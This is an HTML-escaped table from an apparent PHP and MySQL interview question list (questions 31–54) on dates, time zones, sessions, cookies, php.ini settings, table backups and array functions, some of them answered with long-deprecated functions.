&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 31&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we get second of the current time using date function?&lt;br /&gt;
&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 31&lt;/b&gt;&lt;/td&gt; &lt;td&gt;$second = date(&quot;s&quot;);&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 32&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we convert the time zones using PHP? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 32&lt;/b&gt;&lt;/td&gt; &lt;td&gt;&lt;tt&gt;By using date_default_timezone_get&lt;/tt&gt; and &lt;tt&gt;&lt;br /&gt;
date_default_timezone_set function on PHP 5.1.0&lt;/tt&gt; &lt;br /&gt;
&lt;pre&gt;&lt;!--?php
// Discover what 8am in Tokyo relates to on the East Coast of the US    

// Set the default timezone to Tokyo time:
date_default_timezone_set(&#39;Asia/Tokyo&#39;);    

// Now generate the timestamp for that particular timezone, on Jan 1st, 2000
$stamp = mktime(8, 0, 0, 1, 1, 2000);    

// Now set the timezone back to US/Eastern
date_default_timezone_set(&#39;US/Eastern&#39;);    

// Output the date in a standard format (RFC1123), this will print:
// Fri, 31 Dec 1999 18:00:00 EST
echo &#39;&lt;p--&gt;&#39;, date(DATE_RFC1123, $stamp) ,&#39;
&#39;;?&amp;gt;&lt;/pre&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 33&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is meant by urlencode and urldocode? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 33&lt;/b&gt;&lt;/td&gt; &lt;td&gt;URLencode returns a string in which all non-alphanumeric characters&lt;br /&gt;
except &lt;tt&gt;-_.&lt;/tt&gt; have been replaced with a percent (&lt;tt&gt;%&lt;/tt&gt;)&lt;br /&gt;
sign followed by two hex digits and spaces encoded as plus (&lt;tt&gt;+&lt;/tt&gt;)&lt;br /&gt;
signs. It is encoded the same way that the posted data from a WWW form&lt;br /&gt;
is encoded, that is the same way as in &lt;tt&gt;&lt;br /&gt;
application/x-www-form-urlencoded&lt;/tt&gt; media type. &lt;br /&gt;
&lt;div class=&quot;refsect1&quot;&gt;urldecode decodes any &lt;tt&gt;%&lt;i&gt;&lt;tt&gt;##&lt;/tt&gt;&lt;/i&gt;&lt;/tt&gt;&lt;br /&gt;
encoding in the given string.&lt;/div&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 34&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is the difference between the functions unlink and unset?&lt;br /&gt;
&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 34&lt;/b&gt;&lt;/td&gt; &lt;td&gt;unlink() deletes the given file from the file system.&lt;br /&gt;
unset() makes a variable undefined.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 35&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we register the variables into a session? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 35&lt;/b&gt;&lt;/td&gt; &lt;td&gt;$_SESSION[&#39;name&#39;] = &quot;sonia&quot;;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 36&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we get the properties (size, type, width, height) of an&lt;br /&gt;
image using PHP image functions? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 36&lt;/b&gt;&lt;/td&gt; &lt;td&gt;To know the Image type use exif_imagetype () function&lt;br /&gt;
To know the Image size use getimagesize () function&lt;br /&gt;
To know the image width use imagesx () function&lt;br /&gt;
To know the image height use imagesy() function t&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 37&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we get the browser properties using PHP? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 37&lt;/b&gt;&lt;/td&gt; &lt;td&gt;By using &lt;code&gt;&lt;br /&gt;
&lt;span style=&quot;color: black;&quot;&gt;$_SERVER[&#39;HTTP_USER_AGENT&#39;]&lt;span style=&quot;color: #007700;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;variable&lt;span style=&quot;color: #007700;&quot;&gt;. &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/code&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; height=&quot;23&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 38&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot; height=&quot;23&quot;&gt;&lt;b&gt;What is the maximum size of a file that can be uploaded using PHP&lt;br /&gt;
and how can we change this? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 38&lt;/b&gt;&lt;/td&gt; &lt;td&gt;By default the maximum size is 2MB. and we can change the following&lt;br /&gt;
setup at php.iniupload_max_filesize = 2M&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 39&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we increase the execution time of a PHP script? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 39&lt;/b&gt;&lt;/td&gt; &lt;td&gt;by changing the following setup at php.inimax_execution_time = 30&lt;br /&gt;
; Maximum execution time of each script, in seconds&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 40&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we take a backup of a MySQL table and how can we restore&lt;br /&gt;
it. ? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 40&lt;/b&gt;&lt;/td&gt; &lt;td&gt;To backup: BACKUP TABLE tbl_name[,tbl_nameâ€¦] TO&lt;br /&gt;
&#39;/path/to/backup/directory&#39;&lt;br /&gt;
RESTORE TABLE tbl_name[,tbl_nameâ€¦] FROM  &#39;/path/to/backup/directory&#39;mysqldump: Dumping Table Structure and  DataUtility to dump a database or a collection of database for backup or&lt;br /&gt;
for transferring the data to another SQL server (not necessarily a MySQL&lt;br /&gt;
server). The dump will contain SQL statements to create the table and/or&lt;br /&gt;
populate the table.&lt;br /&gt;
-t, â€“no-create-info&lt;br /&gt;
Don&#39;t write table creation information (the CREATE TABLE statement).&lt;br /&gt;
-d, â€“no-data&lt;br /&gt;
Don&#39;t write any row information for the table. This is very useful if&lt;br /&gt;
you just want to get a dump of the structure for a table!&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 41&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we optimize or increase the speed of a MySQL select&lt;br /&gt;
query? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 41&lt;/b&gt;&lt;/td&gt; &lt;td&gt;&lt;ul&gt;&lt;li&gt;first of all instead of using select * from table1, use select&lt;br /&gt;
column1, column2, column3.. from table1&lt;/li&gt;
&lt;li&gt;Look for the opportunity to introduce index in the table you are&lt;br /&gt;
querying.&lt;/li&gt;
&lt;li&gt;use limit keyword if you are looking for any specific number of&lt;br /&gt;
rows from the result set.&lt;/li&gt;
&lt;/ul&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 42&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How many ways can we get the value of current session id? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 42&lt;/b&gt;&lt;/td&gt; &lt;td&gt;session_id() returns the session id for the current session.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 43&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we destroy the session, how can we unset the variable of&lt;br /&gt;
a session? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 43&lt;/b&gt;&lt;/td&gt; &lt;td&gt;session_unregister â€” Unregister a global variable from the current&lt;br /&gt;
session&lt;br /&gt;
session_unset â€” Free all session variables&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 44&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we set and destroy the cookie n php? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 44&lt;/b&gt;&lt;/td&gt; &lt;td&gt;By using setcookie(name, value, expire, path, domain); function  we can set the cookie in php ;&lt;br /&gt;
Set the cookies in past for destroy.  like &lt;br /&gt;
setcookie(&quot;user&quot;, &quot;sonia&quot;, time()+3600); for set the cookie &lt;br /&gt;
setcookie(&quot;user&quot;, &quot;&quot;, time()-3600); for destroy or delete the cookies;    &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 45&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How many ways we can pass the variable through the navigation&lt;br /&gt;
between the pages? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 45&lt;/b&gt;&lt;/td&gt; &lt;td&gt;&lt;ul&gt;&lt;li&gt;GET/QueryString&lt;/li&gt;
&lt;li&gt;POST&lt;/li&gt;
&lt;/ul&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 46&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is the difference between ereg_replace() and eregi_replace()?&lt;br /&gt;
&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 46&lt;/b&gt;&lt;/td&gt; &lt;td&gt;eregi_replace() function is identical to ereg_replace() except that&lt;br /&gt;
this ignores case distinction when matching alphabetic&lt;br /&gt;
characters.eregi_replace() function is identical to ereg_replace()&lt;br /&gt;
except that this ignores case distinction when matching alphabetic&lt;br /&gt;
characters.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 47&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What are the different functions in sorting an array? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 47&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Sort(), arsort(),&lt;br /&gt;
asort(), ksort(),&lt;br /&gt;
natsort(), natcasesort(),&lt;br /&gt;
rsort(), usort(),&lt;br /&gt;
array_multisort(), and&lt;br /&gt;
uksort().&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 48&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we know the count/number of elements of an array? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 48&lt;/b&gt;&lt;/td&gt; &lt;td&gt;2 ways&lt;br /&gt;
a) sizeof($urarray) This function is an alias of count()&lt;br /&gt;
b) count($urarray)&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 49&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;what is session_set_save_handler in PHP?  &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 49&lt;/b&gt;&lt;/td&gt; &lt;td&gt;&lt;b&gt;session_set_save_handler() &lt;/b&gt;  sets the user-level session storage functions which are  used for  storing and retrieving data associated with a session.  This is most  useful when a storage method other than those supplied by  PHP sessions  is preferred. i.e. Storing the session data in a local database.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 50&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can I know that a variable is a number or not using a&lt;br /&gt;
JavaScript? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 50&lt;/b&gt;&lt;/td&gt; &lt;td&gt;bool is_numeric ( mixed var)&lt;br /&gt;
Returns TRUE if var is a number or a numeric string, FALSE otherwise.or  use isNaN(mixed var)The isNaN() function is used to check if a value is  not a number.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 51&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;List out some tools through which we can draw E-R diagrams for&lt;br /&gt;
mysql. &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 51&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Case Studio&lt;br /&gt;
Smart Draw&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 52&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can I retrieve values from one database server and store them&lt;br /&gt;
in other database server using PHP? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 52&lt;/b&gt;&lt;/td&gt; &lt;td&gt;we can always fetch from one database and rewrite to another. here&lt;br /&gt;
is a nice solution of it.$db1 = mysql_connect(&quot;host&quot;,&quot;user&quot;,&quot;pwd&quot;)&lt;br /&gt;
mysql_select_db(&quot;db1&quot;, $db1);&lt;br /&gt;
$res1 = mysql_query(&quot;query&quot;,$db1);$db2 = mysql_connect(&quot;host&quot;,&quot;user&quot;,&quot;pwd&quot;)&lt;br /&gt;
mysql_select_db(&quot;db2&quot;, $db2);&lt;br /&gt;
$res2 = mysql_query(&quot;query&quot;,$db2);At this point you can only fetch records from you previous ResultSet,&lt;br /&gt;
i.e $res1 â€“ But you cannot execute new query in $db1, even if you&lt;br /&gt;
supply the link as because the link was overwritten by the new db.so at this point the following script will fail&lt;br /&gt;
$res3 = mysql_query(&quot;query&quot;,$db1); //this will failSo how to solve that? take a look below.&lt;br /&gt;
$db1 = mysql_connect(&quot;host&quot;,&quot;user&quot;,&quot;pwd&quot;)&lt;br /&gt;
mysql_select_db(&quot;db1&quot;, $db1);&lt;br /&gt;
$res1 = mysql_query(&quot;query&quot;,$db1);&lt;br /&gt;
$db2 = mysql_connect(&quot;host&quot;,&quot;user&quot;,&quot;pwd&quot;, true)&lt;br /&gt;
mysql_select_db(&quot;db2&quot;, $db2);&lt;br /&gt;
$res2 = mysql_query(&quot;query&quot;,$db2);&lt;br /&gt;
So mysql_connect has another optional boolean parameter which&lt;br /&gt;
indicates whether a link will be created or not. as we connect to the&lt;br /&gt;
$db2 with this optional parameter set to &#39;true&#39;, so both link will&lt;br /&gt;
remain live.&lt;br /&gt;
now the following query will execute successfully.&lt;br /&gt;
$res3 = mysql_query(&quot;query&quot;,$db1);&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 53&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;List out the predefined classes in PHP? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 53&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Directory&lt;br /&gt;
stdClass&lt;br /&gt;
__PHP_Incomplete_Class&lt;br /&gt;
exception&lt;br /&gt;
php_user_filter&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 54&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can I make a script that can be bi-language (supports&lt;br /&gt;
English, German)? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 54&lt;/b&gt;&lt;/td&gt; &lt;td&gt;You can maintain two separate language file for each of the&lt;br /&gt;
language. all the labels are putted in both language files as variables&lt;br /&gt;
and assign those variables in the PHP source. on runtime choose the&lt;br /&gt;
required language option.&lt;/td&gt; &lt;/tr&gt;
